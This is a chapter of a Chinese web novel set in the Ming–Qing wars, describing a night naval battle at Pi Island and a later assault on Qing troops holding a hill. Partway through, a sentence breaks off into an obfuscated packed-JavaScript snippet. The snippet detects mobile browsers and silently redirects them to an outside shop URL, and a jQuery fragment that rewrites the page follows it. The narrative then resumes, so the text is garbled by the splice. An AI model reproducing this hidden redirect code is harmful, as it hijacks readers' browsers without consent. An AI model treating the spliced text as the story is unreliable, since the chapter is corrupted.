328. 破局

作品:《铁娘子她怎么登基称帝了

    “满舵!”


    珠池号上,何起蛟面无表情,声音却如钢铁一般坚硬。


    “冲过去!”


    两轮炮击后,清国的奇袭部队已经从混乱中清醒过来。


    他们船小无炮,在体型庞大、搭载了几十位火炮的珠池号面前毫无回手之力,唯一的求生机会便是分散逃跑。


    何起蛟可不会给他们这个机会,当即全速冲向清国船队的中心。


    一艘艘小船在巨力的冲撞下粉身碎骨。


    船上的满洲大兵,或许在陆地上能够以一敌十,如今却根本没有反抗的机会。


    不但不能反抗,哪怕在撞击后没有死亡、重伤或是昏迷,也大多难逃一死——


    因为他们不会游泳。


    黑暗中、火把挥洒下的微弱光线里,求生的本能让勇猛凶残的将士们也开始凄惨地嚎叫起来。


    冲撞之势渐弱,珠池号开始向两边炮击,又有几艘侥幸逃出数十丈的船只被击沉。


    这时候,皮岛西北和西南的海域,也冒出了一艘艘舢板船。


    这些船并不大,但远大于清军乘坐的小船,其上甚至装载了小型火炮。


    清军本就不擅水战,如今连船只也远远劣于对手,战况几乎一边倒。


    丑初,海上的战斗接近结束,有几艘幸运的船逃走了,有几艘船停靠在皮岛岸上,与岸上的前锋汇合了。


    何起蛟本想收拾战场,结束这次毫无惊险可言的战斗,却见东方依稀有炮声传来。


    他用千里镜看了眼皮岛,海岸上清兵已经聚拢,金日观安排的伏兵已经与之交战。


    放下千里镜,他看向萧游。


    萧游却异常兴奋地说道,“岸上那些三瓜两枣不要管了,我们去东边看看,或许有大鱼!”


    他的声音越来越轻,眼里闪烁的光却越来越亮,“要是我们将鞑子武英郡王的座舰一炮轰了……”


    何起蛟轻轻摇了摇头,但并未多说什么。


    他也想去东边看看,既然要救下东江镇,在成功之前,便不能有半丝松懈。


    不到一个时辰,他们便抵达皮岛东面,明军水师正在与清军水师对峙。


    黑夜之中,一切都看不清楚,只能看见海面上的火光和船只的黑影。


    珠池号的出现,倒是先将明军水师吓了一跳,何起蛟也懒得与他们啰嗦,直接斜切向战场中心。


    清军的水师显然也乱了。


    千里镜中,造型奇特犹如厚壳乌龟的船先开炮了。


    可惜此船火炮射程太短,连炮弹激起的水柱落下时,都没一滴水溅在珠池号上。


    不久,其余大船也动了,硕大的炮弹从天而降,气势骇人。


    然而珠池号不但没减速,甚至连方向也没变,炮弹或近或远地落下,大雨倾盆而下。


    挺进清军水师快一里时,其混乱进一步加剧,有船继续炮击,有船竟出列冲向珠池号。


    珠池号在这时正好侧对着清军水师,左舷大炮吞出炽热的火焰。


    十数枚炮弹重重落入清军水师之中,大多只是砸起水柱,只一枚打中一艘龟船。


    那龟船或许是十分坚硬,也或许是距离太远,其上部破了洞,但并未因此沉没。


    清军水师士气稍稍恢复,又是一轮不协调的炮击,冲撞过来的船只也走完了一半路。


    珠池号再次炮击,这次远比上一次要准,接近一半的炮弹落入密集的清军船队之中。


    一艘大船发生爆炸,大火顿时蔓延,吞没了半个船身。


    清军船队愈发焦急失措,越来越多的船向珠池号冲来,似乎要将珠池号团团围住,但珠池号却全速向南,扬长而去了。


    明军终于有了反应。


    激荡的铜锣声中,数量上仅略少于清军水师的明军水师开始发动攻击,慌乱之下,脱离大部队的清军船只遭遇了致命打击。


    而珠池号并未离开,到了安全海域后便转向,绕到了清军的后方进行侵扰。


    清军统帅应是意识到坚持下去没有意义,于是命令那些龟船在后掩护,主力狼狈逃回岸上,在海上留下了众多断木沉船,以及惨叫着求救的满汉朝鲜兵将。


    这时,天已微亮。


    何起蛟并未与明军水师打交道,而是径直返回了皮岛前港,这里也经历了一场战斗,但清兵被伏兵击败,海滩上都是留着金钱鼠辫的尸体。


    金日观的亲兵上了船,看着红光满脸,“何将军,多谢啊,真是一场大胜……”


    何起蛟微笑着点点头,“黄监军与金将军呢?”


    亲兵神色一僵,何起蛟意识到不对,“难道是沈总镇……”


    “不,不是……”亲兵的脸更红了,但不是方才那种红。


    他吞吞吐吐地说道,“有……有……一支……一支鞑子,负……负隅顽抗……”


    何起蛟不禁愕然,萧游在旁讥讽说道,“想必这支鞑子定是人数众多,才让金将军如此难办。”


    亲兵尴尬说道,“三百鞑子占了座山头,金将军标兵不多,现下还没能拿下。不过……”


    “不过是苟延残喘罢了,我明白。”萧游怪笑了两声,便又看向何起蛟,“李船长,有没有兴趣试试鞑子的本事?”


    他难掩兴奋地说道,“听闻鞑子很厉害,甚么‘女真不满万,满万不可敌’都出来了。我倒想看看,鞑子究竟当不当得起这个名头!”


    亲兵惊道,“这……不妥罢?”


    萧游却道,“既然金将军手下标兵不多,那便是妥。你赶紧下船去问金将军,难不成金将军还怕我们这两百人占了皮岛不成?”


    亲兵一下船,萧游便招呼船上的甲兵准备下去,何起蛟皱着眉头对萧游说道,“萧团长,恐怕金日观不会同意。”


    “我晓得他不会同意。”萧游嘴角上扬,“所以我先斩后奏。我先下了船,难不成他还能将我赶上珠池号不成?怎么,李船长要阻拦我么?”


    何起蛟沉默一阵,萧游耸耸肩正准备走人,却听何起蛟在他身后说道,“我跟你一起下船。听社长的意思,东虏恐怕是我们的最大的敌人,需得有所了解。”


    萧游有些意外,转过身打量了何起蛟几眼才道,“说得对!那我们可得快些,免得金日观那厮派来回绝的人到了。”


    两个头头商定好了,那速度便快上了许多。


    他们点选出两排甲兵和两排铳手下去,岸上的将士着实被吓了一大跳,连忙上前阻拦,萧游却不管不顾地往岛内走,场面一时混乱起来。


    金日观的亲兵到了,看见这场面一个头两个大,只得再去请示金日观。


    木已成舟,何况下船之人仅一百多人,金日观便松了口。


    何起蛟与萧游率部赶到一座矮山下,只见数百人将这山缓坡的一面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832541|159702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    围得水泄不通,山上有一堵用木头、石块、盾牌乃至尸体搭成的矮墙。


    金日观领着几个亲兵迎上来,目光在何起蛟、萧游和他们身后的将士身上扫来扫去,发干的脸上摆出一张笑脸,“两位义士,实不必以身涉险。”


    何起蛟拱手道,“金将军请放心,我等全听金将军军令,不会自行其是。”


    金日观稍稍松了口气,不想另一年轻将官毫不避讳地说道,“金将军,何以两三百鞑子还能逞凶?是鞑子战力堪比天兵,还是官兵太弱了?”


    “你这小子,胡说甚么呢!”


    拉下脸去的金日观还没说什么,他身后的亲兵却忍不住了,纷纷叫嚷起来。


    何起蛟连忙赔罪,金日观却是往后骂了几句,将心里的火气发泄了出去。


    亲兵忿忿不平地安静下来,他才转回头,勉强挤出一个笑,“倒是让两位见笑了。”


    说着,他的情绪渐渐平和,“鞑子不是天兵,官兵也不是狗熊。但山上都是死硬的鞑子精锐,与其让将士白白送死,不如围住鞑子,让彼等饿死。”


    何起蛟点点头,表示理解,“金将军宽仁,这些标兵跟着你有福了。”


    萧游却在一边低声嘀咕,“我看是怕标兵死多了,坐不稳副将之位……”


    何起蛟忙咳嗽几声,又问话转移金日观等人注意力,“金将军,这些兵是不是少了?这山另一边虽然较为陡峭,但并非走不了人。”


    “这个……”金日观有些窘迫地说道,“本将标兵不多,仅六百余人。本将去请总镇支援,但他只派了人来搜捕鞑子、守卫岛西海岸。


    “本将再去请援,总镇便说要防备鞑子的主力,不能轻动,这三百人的大功留给本将了。”


    何起蛟怔了片刻,疑惑问道,“这……为何?”


    金日观苦笑道,“大概是沈总镇气本将与黄监军没有事先与他明说罢……”


    何起蛟又愣住,萧游却大笑道,“这沈世魁,倒是个小心眼的妙人!”


    金日观暗暗认同,但嘴上自然得维护下自己的同僚。


    然而刚张开嘴,头顶传来隆隆的声响,他面色大变,只见十几个大石头滚了下来,大多石头卡在某处,却也有几个砸入了阵中。


    没死人,但引发了一阵骚乱。


    金日观冷着脸大步向前,何起蛟面色严肃地看向萧游,萧游点头,往后退了一步,指挥众人结阵。


    山上顿起一阵震天的叫喊声。


    何起蛟退入阵中,仰望着那一道道“矮墙”后冲出来的挺拔身影。


    吼声不绝,满是不甘和疯狂。


    金日观和他手下的标兵并未被吓住,铳炮、弓弩夺走了一条条人命,但清兵没有后退一步。


    杀至明军阵前,清兵竟能顶着铅弹和弩箭有条不紊地射出长箭。


    何起蛟从未见过如此粗长的箭矢,威力——尤其是在十丈以内的威力出乎寻常的大,只眨眼功夫,金日观的军阵已被撕开好几个口子。


    金日观不甘示弱,主动进攻,两方混战。


    何起蛟、萧游带着几个猎兵,专挑最勇猛的清兵狙击。


    这引起了清兵关注,竟真有二三十人杀穿明军军阵后,不管不顾地朝着何起蛟冲杀过来。


    “鞑子来了,跟我上!”萧游振臂一呼,带着甲兵迎战,不忘低声骂了一句,“明军,真是废物!”